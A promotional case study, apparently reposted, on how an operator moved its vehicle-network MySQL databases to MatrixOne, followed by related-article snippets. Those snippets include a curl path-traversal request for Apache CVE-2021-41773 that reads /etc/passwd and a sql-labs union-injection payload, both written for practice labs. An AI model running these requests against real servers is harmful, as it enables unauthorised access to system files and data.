MatrixOne 助力某电信运营商构建低成本高性能车联网管理系统

客户基本情况

该电信运营商在物联网领域深耕多年,致力于为企业和个人提供全面的物联网解决方案,包括智能连接、设备管理、数据采集与分析等核心服务。凭借其强大的网络覆盖和技术优势,该运营商为各行业提供高效、安全、可靠的物联网服务,助力实现数字化转型和智能化运营。其以物联网连接为基础,卡位芯片、操作系统、模组、硬件四类入口,打造物联网卡管理平台、连接管理平台、5G专网平台等三大平台,发展视频物联网、城市物联网、产业物联网三大业务领域。

面临的业务挑战

本次与MatrixOne合作的项目主要面向于车联网相关的业务。在车联网业务中,该运营商主要为车企提供流量卡实名认证,连接管理等服务。其核心系统由三个核心部分组成:车联网实名登记平台、5G 智能网联管理平台和车企实名登记业务平台,这三个平台分别采用一套 MySQL 8.0 数据库,目前总数据量达 2TB+。同时每年新增数据量达数百GB,该系统已支持数十家车企客户,未来预期增加至百余家。

随着车联网业务的快速发展,该运营商的数据库架构面临着一系列挑战。

  1. 扩展性问题:高并发请求的增加导致 MySQL 数据库出现性能瓶颈,用户只能手动通过分表形式来分散压力,运维成本较高,读写操作都较为复杂。
  2. 查询性能问题:面对多表关联操作,MySQL的查询性能会慢到几分钟甚至十几分钟。用户不得不对数据结构进行精细的修改,以避免进行三表以上的join操作,同时把大量的计算压力由业务应用来完成,这样会经常导致应用层的性能受到影响。
  3. 资源利用率问题:系统整体硬件使用率不高。由于业务初期规划是以较大的商业规模来估算的,因此实际上每套系统底层的MySQL主备集群都配备了非常高规格的物理机,最大使用到80504G内存。但是实际上因为业务发展还处于早期,以及车企仅会在批量进行开通操作的时候才会有一定业务洪峰,而绝大部分情况下硬件使用率较低。在整体大环境降本增效的背景下,业务部门的IT成本压力较大。

在这样的背景下,该业务的IT人员曾经尝试过将MySQL接入为应用系统准备的K8s云原生容器集群,来尝试解决资源利用率及扩展性的问题。但是实际测试发现直接将原生MySQL上容器,不仅没有达到线性扩展的效果,反而相比过去用物理机的形态性能大幅下降,最后只能放弃该方案。

解决方案

为了解决当前车联网数据架构中的关键挑战,同时避免对现有业务逻辑进行大规模改造,基于MatrixOne的云原生HTAP解决方案应运而生。

  1. 弹性扩展:MatrixOne作为一款完全面向容器而设计的云原生数据库,天然支持了K8s容器环境部署。同时MatrixOne是完全存算分离的数据库,CN计算节点及TN事务管理节点均运行在基于K8s管理的容器上,这两种节点均无状态,可以随时启停或者扩展。存储层运行在对象存储上,天然具备很强的扩展性。需要有状态保证的写入日志节点通过三副本的Raft协议来保证可靠性。因此其天然可以利用容器平台超强的扩展能力,来实现扩展性。在业务负载上升的时候,仅需1条运维命令即可秒级无感知的增加CN计算节点来匹配更高的业务并发量。

  1. 容器池化:MatrixOne基于容器的池化能力,可以按需调用底层计算资源,在业务发展初期,整体负载压力较小的时候,MatrixOne可以使用较小和较少的计算容器节点。而在业务负载逐渐加大的时候,MatrixOne仅需一条简单的运维命令即可秒级对现有计算容器节点进行垂直扩展或者水平扩展,这也实际使用的底层资源始终可以匹配业务需要的资源,可以极大的提高硬件使用率。
  2. 多租户:MatrixOne支持多租户能力,在一套MatrixOne集群内,允许用户用不同的租户登陆,将完全看见不一样的数据空间,同时可以将1个或多个CN计算节点绑定到不同的租户上,确保计算负载的隔离性。因此用户三套业务应用底层的所有数据库硬件均可以被池化,而上层每套业务应用数据库可以作为一个MatrixOne集群中的租户存在,共享一套MatrixOne集群。这种使用模式将进一步提高硬件整体使用率。

  1. HTAP能力:MatrixOne是一款HTAP数据库,针对多表关联,聚合分析类的OLAP查询比MySQL能力强的多,过去需要花十几分钟在MySQL进行查询的语句在MatrixOne中仅需要秒级即可输出结果,这将极大的降低被迫被推到业务应用层去执行的数据计算负担。
  2. MySQL兼容:MatrixOne与MySQL8.0高度兼容,对于开发人员来说,所使用的Java工具包,包括ORM框架Hibernete,连接池Druid,建模开发管理工具DBeaver,MatrixOne均可以无缝兼容,用户只需要保持与MySQL一样的开发习惯即可,极大的降低了迁移适配应用的成本。

实施过程

客户在详细了解MatrixOne的整体技术细节之后,明确了要进行数据库云原生化改造的方案,项目开始进入到POC实施阶段。

首先进行了基于K8s及对象存储部署的测试,MatrixOne整体使用了76 vCPU,304G的内存资源,及4TB的对象存储资源,即完成了面向三套业务系统的整体部署,比过去1主1备的MySQL物理机资源整体少了近80%。

其次进行了业务应用适配性的测试,业务侧准备了43个应用接口进行测试,42个接口测试一次性通过,其中1个应用接口因为碰到了MySQL在整型和字符串数据类型转换方面不正规的使用方式而出现差异,在我们的建议下客户修正了自己的代码,并通过了第43个接口的测试。

第三,我们对相对性能要求较高的部分业务接口进行了性能测试。客户要求在100并发下,应用侧端到端的接口时延在10秒以内。MatrixOne将平均性能水平控制在了3秒以内,比MySQL快了近20倍。而且针对部分要求更高的查询,MatrixOne通过快速拉起新的计算节点进行瞬时的并行计算,可以进一步提高查询性能。

最后,为了确保MatrixOne在数据同步和迁移方面的能力,用户分别测试基于DataX及FlinkCDC的离线及实时方案。MatrixOne均可以保持与MySQL表的数据一致性及秒级同步。

客户收益

通过采用MatrixOne的云原生HTAP解决方案,该电信运营商在车联网管理系统方面获得了显著的效益:

  1. 性能提升:MatrixOne的OLAP高性能查询性能显著提升了系统的响应速度,尤其是在处理复杂查询时,相比原有MySQL数据库,查询效率提升了数十倍,从而改善了应用开发模式及用户体验。
  2. 成本优化:通过MatrixOne的容器化部署和资源池化管理,该运营商能够根据实际业务需求动态调整资源分配,避免了资源浪费,实现了成本的有效控制。
  3. 运维简化:完全K8s容器化管理极大的简化了运维工作,使得数据库的扩展和管理更加自动化和便捷,降低了运维难度和工作量。同时使得数据库及应用的运维可以形成统一一套运维体系。

通过这些改进,该电信运营商不仅提升了车联网管理系统的性能和稳定性,还实现了成本的有效控制和业务的快速响应,为未来的发展奠定了坚实的基础。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148634.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

1. 背景介绍 该工作属于多年之前的用户增长算法业务项目。在个性化push中,文案扮演非常重要的角色,是用户与push的商品之间的桥梁,文案是用户最直接能感知的信息。应该说在push产品信息之外,最重要的就是文案,直接能…

【二等奖论文】2024年华为杯研究生数学建模F题成品论文

您的点赞收藏是我继续更新的最大动力! 一定要点击如下的卡片,那是获取资料的入口! 【全网最全】2024年华为杯研赛F题保奖思路matlab/py代码成品论文等(后续会更新完整 点击链接加入群聊【2024华为杯研赛资料汇总】:ht…

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志,可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意,这个软件会报毒…

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir: 列出当前目录下的所有文件以及目录 cls :清理屏幕 exit: 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del: 删除文件 ipconfig : 查看IP信息 ipconfig/all &#xf…

导入时,文档模板不被下载

问题描述 提示:这里描述项目中遇到的问题: 这是个SSM项目,以前经常遇到这个问题,今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库,搜索图标并加入购物车: 2.点击页面右上角购物车图标 ,点击添加至项目,如没有项目,需要点击下图第二步的图标新建一个项目目录,如已经有项目则…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题,真实考过,看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

sql-labs靶场

第一关(get传参,单引号闭合,有回显,无过滤) ?id-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) -- 第二关(get传参,无闭…

阅读CVPR论文——mPLUG-Owl2:革命性的多模态大语言模型与模态协作

读后感悟: 1)实验部分非常丰富,并且论文中的图制作的非常精美,论文开篇的图制作的别出心裁,将几种不同的方法表现出的性能差异不是以普通的表格形式展现,而是制作成了一副环状折线图,论文中其他…

VS Code 技巧

在编程世界里,工具的好坏取决于使用者的水平。Visual Studio Code(VS Code)就像一把锋利的刀,它功能强大,但需要熟练的技巧才能发挥出色。然而,对于初学者来说,它可能显得有些复杂,因…

BaseCTF2024 web

Web [Week1] HTTP 是什么呀 GET: ?basectf%77%65%31%63%25%30%30%6d%65POST: BaseflgX-Forwarded-For:127.0.0.1Referer: BaseCookie: c00k13i cant eat itUser-Agent: Base有Location跳转, 抓包得到flag: QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg…

mysql复合查询 -- 合并查询(union,union all)

目录 合并查询 介绍 表数据 union 使用场景 ​编辑 示例 union all 合并查询 介绍 它不像笛卡尔积那种,将行信息做乘法 合并只是单纯地合在一起求的是两个结果集的并集,并且会自动去掉并集中的重复行 注意,因为是求并集,会将两个结果进行拼接 所以要保证列信息相同 表…

深度解读 2024 Gartner DevOps 魔力象限

上周 Gartner 刚发布了 2024 年度的 DevOps 魔力象限。我们也第一时间来深度解读一下这份行业里最权威的报告。 和2023年对比 23 年入围 14 家厂商,24 年入围 11 家。4 家厂商从报告中消失,分别是 Bitrise, Codefresh, Google Cloud Platform (GCP), VM…

02【Matlab系统辨识】白噪声

1.白噪声与有色噪声 1.1 白噪声(white noise) 系统辨识中所用到的数据通常都含有噪声。从工程实际出发,这种噪声往往可以视为具有有理谱密度的平稳随机过程。白噪声是一种最简单的随机过程,是由一系列不相关的随机变量组成的理想化随机过程。白噪声的数…

百度C++一面面经总结

1、你知道网络编程服务端建立连接的流程吗?把用到的api说出来? server: 1.socket() int sockfd socket(AF_INET, SOCK_STREAM, 0);2.bind() struct sockaddr_in serv_addr; serv_addr.sin_family AF_INET; serv_addr.sin_addr.s_addr I…

jmeter发送邮件:详细步骤与功能配置指南?

jmeter发送邮件如何设置?怎么配置JMeter以发送邮件? Apache JMeter作为一款强大的性能测试工具,不仅可以用于测试Web应用的性能,还可以通过插件扩展其功能,实现诸如发送邮件等操作。AokSend将详细介绍如何使用JMeter发…

HarmonyOS鸿蒙开发实战( Beta5.0)Web组件预览PDF文件实现案例

鸿蒙HarmonyOS开发实战往期必看文章:(持续更新......) HarmonyOS NEXT应用开发性能实践总结(持续更新......) HarmonyOS NEXT应用开发案例实践总结合集(持续更新......) 一分钟了解”纯血版&…

线程1(重点知识)

线程 1.线程的概念: 线程是进程中的⼀个执行单元,负责当前进程中程序的执行,⼀个进程中至少有⼀个线程 ⼀个进程中是可以有多个线程 多个线程共享同一个进程的资源,每个线程参与操作系统的统一调度 可以简单理解: 进程 进程资源…

平衡二叉树(AVL树):原理、常见算法及其应用

目录 引言 AVL树的基本概念 常见算法 插入节点 查找节点 删除节点 AVL树的应用场景 1. 数据库索引 2. 符号表 3. 字典和词汇表 4. 动态集合 5. GPS导航系统 6. 计算机辅助设计(CAD) 结论 引言 平衡二叉树(Balanced Binary Tre…